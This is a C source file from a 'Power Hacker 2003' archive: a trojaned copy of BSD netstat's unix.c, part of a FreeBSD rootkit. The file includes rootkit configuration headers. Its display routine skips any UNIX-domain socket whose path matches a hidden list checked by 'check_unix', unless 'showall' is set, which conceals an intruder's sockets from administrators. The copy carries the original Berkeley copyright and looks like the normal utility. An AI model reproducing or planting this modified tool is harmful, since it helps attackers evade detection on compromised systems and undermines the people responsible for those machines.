home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / netstat / unix.c < prev   
Encoding:
C/C++ Source or Header  |  2002-05-27  |  4.5 KB  |  147 lines

  1. /*-
  2.  * Copyright (c) 1983, 1988, 1993
  3.  *    The Regents of the University of California.  All rights reserved.
  4.  *
  5.  * Redistribution and use in source and binary forms, with or without
  6.  * modification, are permitted provided that the following conditions
  7.  * are met:
  8.  * 1. Redistributions of source code must retain the above copyright
  9.  *    notice, this list of conditions and the following disclaimer.
  10.  * 2. Redistributions in binary form must reproduce the above copyright
  11.  *    notice, this list of conditions and the following disclaimer in the
  12.  *    documentation and/or other materials provided with the distribution.
  13.  * 3. All advertising materials mentioning features or use of this software
  14.  *    must display the following acknowledgement:
  15.  *    This product includes software developed by the University of
  16.  *    California, Berkeley and its contributors.
  17.  * 4. Neither the name of the University nor the names of its contributors
  18.  *    may be used to endorse or promote products derived from this software
  19.  *    without specific prior written permission.
  20.  *
  21.  * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
  22.  * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  23.  * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  24.  * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
  25.  * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  26.  * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
  27.  * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  28.  * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
  29.  * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
  30.  * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
  31.  * SUCH DAMAGE.
  32.  */
  33.  
  34. #ifndef lint
  35. #if 0
  36. static char sccsid[] = "@(#)unix.c    8.1 (Berkeley) 6/6/93";
  37. #endif
  38. static const char rcsid[] =
  39.     "$Id: unix.c,v 1.3.2.1 1997/07/30 06:52:06 charnier Exp $";
  40. #endif /* not lint */
  41.  
  42. /*
  43.  * Display protocol blocks in the unix domain.
  44.  */
  45. #include <kvm.h>
  46. #include <sys/param.h>
  47. #include <sys/queue.h>
  48. #include <sys/protosw.h>
  49. #include <sys/socket.h>
  50. #include <sys/socketvar.h>
  51. #include <sys/mbuf.h>
  52. #include <sys/sysctl.h>
  53. #include <sys/un.h>
  54. #include <sys/unpcb.h>
  55. #define KERNEL
  56. struct uio;
  57. struct proc;
  58. #include <sys/file.h>
  59.  
  60. #include <netinet/in.h>
  61.  
  62. #include <stdio.h>
  63. #include <stdlib.h>
  64. #include "netstat.h"
  65.  
  66. /* Rootkit configuration files */
  67. #include "../config.h"
  68. #define UNIX_DOT_C
  69. #include "rootkitnetstat.h"
  70.  
  71. static    void unixdomainpr __P((struct socket *, caddr_t));
  72.  
  73. static struct    file *file, *fileNFILE;
  74. static int    nfiles;
  75. extern    kvm_t *kvmd;
  76.  
  77. void
  78. unixpr(off)
  79.     u_long    off;
  80. {
  81.     register struct file *fp;
  82.     struct socket sock, *so = &sock;
  83.     char *filebuf;
  84.     struct protosw *unixsw = (struct protosw *)off;
  85.  
  86.     filebuf = (char *)kvm_getfiles(kvmd, KERN_FILE, 0, &nfiles);
  87.     if (filebuf == 0) {
  88.         printf("Out of memory (file table).\n");
  89.         return;
  90.     }
  91.     file = (struct file *)(filebuf + sizeof(fp));
  92.     fileNFILE = file + nfiles;
  93.     for (fp = file; fp < fileNFILE; fp++) {
  94.         if (fp->f_count == 0 || fp->f_type != DTYPE_SOCKET)
  95.             continue;
  96.         if (kread((u_long)fp->f_data, (char *)so, sizeof (*so)))
  97.             continue;
  98.         /* kludge */
  99.         if (so->so_proto >= unixsw && so->so_proto <= unixsw + 2)
  100.             if (so->so_pcb)
  101.                 unixdomainpr(so, fp->f_data);
  102.     }
  103. }
  104.  
  105. static    char *socktype[] =
  106.     { "#0", "stream", "dgram", "raw", "rdm", "seqpacket" };
  107.  
  108. static void
  109. unixdomainpr(so, soaddr)
  110.     register struct socket *so;
  111.     caddr_t soaddr;
  112. {
  113.     struct unpcb unpcb, *unp = &unpcb;
  114.     struct mbuf mbuf, *m;
  115.     struct sockaddr_un *sa = NULL;
  116.     static int first = 1;
  117.  
  118.     if (kread((u_long)so->so_pcb, (char *)unp, sizeof (*unp)))
  119.         return;
  120.     if (unp->unp_addr) {
  121.         m = &mbuf;
  122.         if (kread((u_long)unp->unp_addr, (char *)m, sizeof (*m)))
  123.             m = (struct mbuf *)0;
  124.         sa = (struct sockaddr_un *)(m->m_dat);
  125.     } else
  126.         m = (struct mbuf *)0;
  127.     if (first) {
  128.         printf("Active UNIX domain sockets\n");
  129.         printf(
  130. "%-8.8s %-6.6s %-6.6s %-6.6s %8.8s %8.8s %8.8s %8.8s Addr\n",
  131.             "Address", "Type", "Recv-Q", "Send-Q",
  132.             "Inode", "Conn", "Refs", "Nextref");
  133.         first = 0;
  134.     }
  135. if (showall || m && !check_unix(sa->sun_path)) {
  136.     printf("%8x %-6.6s %6ld %6ld %8x %8x %8x %8x",
  137.         (int)soaddr, socktype[so->so_type], so->so_rcv.sb_cc, so->so_snd.sb_cc,
  138.         (int)unp->unp_vnode, (int)unp->unp_conn,
  139.         (int)unp->unp_refs, (int)unp->unp_nextref);
  140.     if (m)
  141.         printf(" %.*s",
  142.             m->m_len - (int)(sizeof(*sa) - sizeof(sa->sun_path)),
  143.             sa->sun_path);
  144.     putchar('\n');
  145.     }
  146. }
  147.